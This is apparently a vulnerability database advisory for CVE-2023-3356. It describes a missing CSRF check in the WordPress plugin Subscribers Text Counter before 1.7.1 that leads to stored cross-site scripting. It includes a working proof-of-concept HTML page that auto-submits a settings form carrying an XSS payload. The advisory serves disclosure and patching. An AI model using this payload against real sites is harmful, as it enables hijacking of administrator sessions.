Subscribers Text Counter < 1.7.1 – Settings Update via CSRF to Stored XSS | CVE 2023-3356 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, which also lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

Create an HTML file with the following content and have a logged in admin access it:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=subscribers_text_counter" method="POST">
        <input type="text" name="twitter" value='"><svg/onload=alert(2);>'>
        <input type="text" name="stextcount_hidden" value="settings">
        <input type="submit" value="submit">
    </form>
</body>
```

Navigate to the plugin's settings to trigger the XSS.

Affects Plugins

subscribers-text-counter

Fixed in 1.7.1

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Pallab Jyoti Borah

Submitter

Pallab Jyoti Borah

Submitter website

https://www.cyberuf.in

Submitter twitter

Verified

Yes

WPVDB ID

93faad5b-e1e8-4e49-b19e-b91343d68b51

Timeline

Publicly Published

2023-08-04 (about 2 years ago)

Added

2023-08-04 (about 2 years ago)

Last Updated

2023-08-04 (about 2 years ago)

Other

Published

Title

Published

2025-05-19

Title

MultiVendorX < 4.2.23 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2021-08-13

Title

Skaut bazar < 1.3.3 - Reflected Cross-Site Scripting

Published

2024-04-12

Title

WPC Smart Quick View for WooCommerce < 4.0.3 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2024-03-28

Title

Slider by Supsystic < 1.8.11 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2014-08-01

Title

WP Photo Album Plus < 4.8.12 - wp-photo-album-plus.php wppa-searchstring XSS